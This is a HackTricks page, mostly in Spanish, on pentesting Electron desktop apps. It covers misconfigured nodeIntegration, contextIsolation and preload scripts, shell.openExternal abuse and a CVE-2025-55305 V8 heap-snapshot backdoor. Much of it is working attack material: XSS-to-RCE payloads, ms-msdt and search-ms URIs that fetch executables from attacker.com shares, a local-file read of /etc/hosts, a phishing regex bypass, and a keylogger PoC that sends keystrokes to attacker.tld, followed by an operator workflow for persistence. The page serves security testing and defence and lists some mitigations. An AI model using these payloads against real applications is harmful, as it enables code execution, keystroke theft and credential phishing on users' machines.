Electron Desktop Apps

Reading time: 22 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Introducción

Electron combina un backend local (con NodeJS) y un frontend (Chromium), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.

Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación .asar; para obtener el código necesitas extraerlo:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

En el código fuente de una aplicación Electron, dentro de packet.json, puedes encontrar especificado el archivo main.js donde se establecen las configuraciones de seguridad.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron tiene 2 tipos de procesos:

  • Main Process (tiene acceso completo a NodeJS)
  • Renderer Process (debería tener acceso a NodeJS restringido por razones de seguridad)

Un renderer process será una ventana del navegador que carga un archivo:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Los ajustes del proceso de renderizado pueden configurarse en el proceso principal dentro del archivo main.js. Algunas de las configuraciones evitarán que la aplicación Electron obtenga RCE u otras vulnerabilidades si los ajustes están correctamente configurados.

La aplicación Electron podría acceder al dispositivo vía las APIs de Node aunque se puede configurar para evitarlo:

  • nodeIntegration - is off by default. If on, allows to access node features from the renderer process.
  • contextIsolation - is on by default. If off, main and renderer processes aren't isolated.
  • preload - empty by default.
  • sandbox - is off by default. It will restrict the actions NodeJS can perform.
  • Node Integration in Workers
  • nodeIntegrationInSubframes- is off by default.
  • If nodeIntegration is enabled, this would allow the use of Node.js APIs in web pages that are loaded in iframes within an Electron application.
  • If nodeIntegration is disabled, then preloads will load in the iframe

Ejemplo de configuración:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Algunos RCE payloads de here:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capturar tráfico

Modifica la configuración start-main y añade el uso de un proxy como:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Si la nodeIntegration está configurada en on, el JavaScript de una página web puede usar las funcionalidades de Node.js fácilmente simplemente llamando a require(). Por ejemplo, la manera de ejecutar la aplicación calc en Windows es:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

El script indicado en esta configuración se carga antes que otros scripts en el renderer, por lo que tiene acceso ilimitado a las Node APIs:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Por lo tanto, el script puede exportar node-features a páginas:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Si contextIsolation está activado, esto no funcionará

RCE: XSS + contextIsolation

The contextIsolation introduce los contextos separados entre los scripts de la página web y el código interno JavaScript de Electron de modo que la ejecución de JavaScript de cada uno no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.

If the contexts aren't isolated an attacker can:

  1. Ejecutar JavaScript arbitrario en renderer (XSS o navegación a sitios externos)
  2. Sobrescribir el método incorporado que se usa en preload o en el código interno de Electron para tomar el control de la función
  3. Provocar el uso de la función sobrescrita
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Bypass click event

Si hay restricciones aplicadas al hacer clic en un enlace, podrías poder eludirlas haciendo un clic central en lugar del clic izquierdo regular

javascript
window.addEventListener('click', (e) => {

RCE vía shell.openExternal

Para más información sobre estos ejemplos consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/

Al desplegar una aplicación de escritorio Electron, asegurar las configuraciones correctas para nodeIntegration y contextIsolation es crucial. Está demostrado que client-side remote code execution (RCE) dirigido a preload scripts o al código nativo de Electron desde el proceso principal queda efectivamente prevenido con estas configuraciones.

Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se disparan manejadores de eventos específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Estos listeners son overridden by the desktop application para implementar su propia business logic. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, openInternally. Si esta función devuelve false, indica que el enlace debe abrirse externamente, utilizando la función shell.openExternal.

Here is a simplified pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS security best practices aconseja no aceptar contenido no confiable con la función openExternal, ya que podría conducir a RCE a través de varios protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación más amplia sobre este tema, se puede consultar this resource, que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.

En macos, la función openExternal puede explotarse para ejecutar comandos arbitrarios como en shell.openExternal('file:///System/Applications/Calculator.app').

Examples of Windows protocol exploits include:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

Esta vulnerabilidad se puede encontrar en this report.

El webviewTag es una característica obsoleta que permite el uso de NodeJS en el renderer process, la cual debería deshabilitarse ya que permite cargar un script dentro del preload context como:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para cargar un preload script arbitrario.

Este preload script fue entonces abusado para invocar un servicio IPC vulnerable (skype-new-window) que estaba llamando llamando a shell.openExternal para obtener RCE:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Lectura de archivos internos: XSS + contextIsolation

Al deshabilitar contextIsolation se permite el uso de etiquetas <webview>, similares a <iframe>, para leer archivos locales y exfiltrating su contenido. Un ejemplo muestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:

Además, se comparte otro método para leer un archivo interno, que destaca una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica injecting a script para explotar la aplicación y exfiltrate data:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Chromium antiguo

Si el chromium usado por la aplicación es antiguo y hay vulnerabilidades conocidas en él, podría ser posible explotarlo y obtener RCE mediante una XSS.
Puedes ver un ejemplo en este writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing mediante bypass de regex de URL internas

Suponiendo que encontraste una XSS pero no puedes desencadenar RCE ni robar archivos internos podrías intentar usarla para robar credenciales mediante phishing.

Antes que nada necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

La llamada a openInternally decidirá si el link se abrirá en la ventana de escritorio ya que es un link perteneciente a la plataforma, o si se abrirá en el navegador como un recurso de terceros.

En caso de que la regex usada por la función sea vulnerable a bypasses (por ejemplo por no escapar los puntos de los subdominios), un atacante podría abusar del XSS para abrir una nueva ventana que estará ubicada en la infraestructura del atacante pidiendo credenciales al usuario:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protocolo

As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a protocolo personalizado prevents issues like this as you can limit the protocol to only serving a specific set of files.

Módulo remote

The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.

tip

Aunque el módulo remote expone algunas APIs del proceso main a los procesos renderer, no es sencillo obtener RCE únicamente abusando de los componentes. Sin embargo, los componentes podrían exponer información sensible.

warning

Muchas apps que aún usan el módulo remote lo hacen de forma que requieren que NodeIntegration esté habilitado en el proceso renderer, lo cual es un riesgo de seguridad enorme.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.

To enable it, it'd first needed to enable it in the main process:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Entonces, el proceso renderer puede importar objetos desde el módulo de la siguiente manera:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

La entrada del blog indica algunas funciones interesantes expuestas por el objeto app del módulo remoto:

  • app.relaunch([options])
  • Reinicia la aplicación al cerrar la instancia actual y lanzar una nueva. Útil para actualizaciones de la aplicación o cambios significativos de estado.
  • app.setAppLogsPath([path])
  • Define o crea un directorio para almacenar los registros de la aplicación. Los registros pueden ser recuperados o modificados usando app.getPath() o app.setPath(pathName, newPath).
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Registra el ejecutable actual como el manejador predeterminado para un protocolo especificado. Puedes proporcionar una ruta personalizada y argumentos si es necesario.
  • app.setUserTasks(tasks)
  • Agrega tareas a la categoría Tasks en la Jump List (en Windows). Cada tarea puede controlar cómo se inicia la app o qué argumentos se pasan.
  • app.importCertificate(options, callback)
  • Importa un certificado PKCS#12 en el almacén de certificados del sistema (solo Linux). Se puede usar un callback para manejar el resultado.
  • app.moveToApplicationsFolder([options])
  • Mueve la aplicación a la carpeta Applications (en macOS). Ayuda a asegurar una instalación estándar para usuarios de Mac.
  • app.setJumpList(categories)
  • Establece o elimina una Jump List personalizada en Windows. Puedes especificar categorías para organizar cómo aparecen las tareas al usuario.
  • app.setLoginItemSettings(settings)
  • Configura qué ejecutables se inician al iniciar sesión junto con sus opciones (solo macOS y Windows).

Example:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

módulo systemPreferences

La API principal para acceder a las preferencias del sistema y emitir eventos del sistema en Electron. Métodos como subscribeNotification, subscribeWorkspaceNotification, getUserDefault, y setUserDefault son todos parte de este módulo.

Ejemplo de uso:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Escucha notificaciones nativas de macOS usando NSDistributedNotificationCenter.
  • Antes de macOS Catalina, podías esnifar todas las notificaciones distribuidas pasando nil a CFNotificationCenterAddObserver.
  • Después de Catalina / Big Sur, las aplicaciones sandbox aún pueden suscribirse a muchos eventos (por ejemplo, bloqueo/desbloqueo de pantalla, montajes de volúmenes, actividad de red, etc.) registrando notificaciones por nombre.

getUserDefault / setUserDefault

  • Interactúa con NSUserDefaults, que almacena preferencias de la aplicación o globales en macOS.

  • getUserDefault puede recuperar información sensible, como ubicaciones de archivos recientes o la ubicación geográfica del usuario.

  • setUserDefault puede modificar estas preferencias, afectando potencialmente la configuración de una aplicación.

  • En versiones antiguas de Electron (antes de v8.3.0), solo la suite estándar de NSUserDefaults era accesible.

Shell.showItemInFolder

Esta función muestra el archivo dado en un gestor de archivos, lo cual podría ejecutar automáticamente el archivo.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron apps should have a Content Security Policy (CSP) to prevent XSS attacks. The CSP is a security standard that helps prevent the execution of untrusted code in the browser.

It's usually configured in the main.js file or in the index.html template with the CSP inside a meta tag.

For more information check:

Content Security Policy (CSP) Bypass

Herramientas

  • Electronegativity es una herramienta para identificar configuraciones incorrectas y anti-patrones de seguridad en aplicaciones basadas en Electron.
  • Electrolint es un plugin de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
  • nodejsscan para comprobar bibliotecas de terceros vulnerables
  • Electro.ng: Es de pago

Labs

En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.

Algunos comandos que te ayudarán con el laboratorio:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305

Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al arrancar (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los integrity fuses de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las verificaciones de OS code-signing. Como resultado, reemplazar el snapshot en una instalación escribible por el usuario permitía ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
  • Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
  • Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
  • Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.

Generating a malicious snapshot without building Chromium

  • Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.

Example minimal payload (prove execution by forcing a crash)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (run different code in main vs. renderer)

  • Detección del proceso main: globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso main.
  • Detección del navegador/renderer: globales exclusivos del navegador como alert están disponibles al ejecutarse en un contexto de documento.

Ejemplo de gadget que sondea las capacidades de Node del proceso main una vez

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

PoC de robo de datos en Renderer/browser-context (p. ej., Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

Flujo de trabajo del operador

  1. Escribe payload.js que sobrescriba un builtin común (e.g., Array.isArray) y, opcionalmente, bifurque por isolate.
  2. Build the snapshot without Chromium sources:
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. Sobrescribe el/los archivo(s) snapshot de la aplicación objetivo:
  • v8_context_snapshot.bin (siempre usado)
  • browser_v8_context_snapshot.bin (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
  1. Lanza la aplicación; el gadget se ejecuta cada vez que se usa el builtin elegido.

Notas y consideraciones

  • Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
  • Persistencia: Reemplazar el snapshot en una instalación escribible por el usuario típicamente sobrevive a reinicios de la app y parece una app legítima firmada.
  • Navegadores Chromium: El mismo concepto de manipulación se aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su modelo de amenazas.

Detección y mitigaciones

  • Trata los snapshots como contenido ejecutable e inclúyelos en la aplicación de controles de integridad (CVE-2025-55305 fix).
  • Prefiere ubicaciones de instalación escribibles solo por administradores; establece una línea base y monitorea hashes para v8_context_snapshot.bin y browser_v8_context_snapshot.bin.
  • Detecta sobrescrituras de builtin en tiempo de ejecución temprano y cambios inesperados en snapshots; alerta cuando snapshots deserializados no coinciden con los valores esperados.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks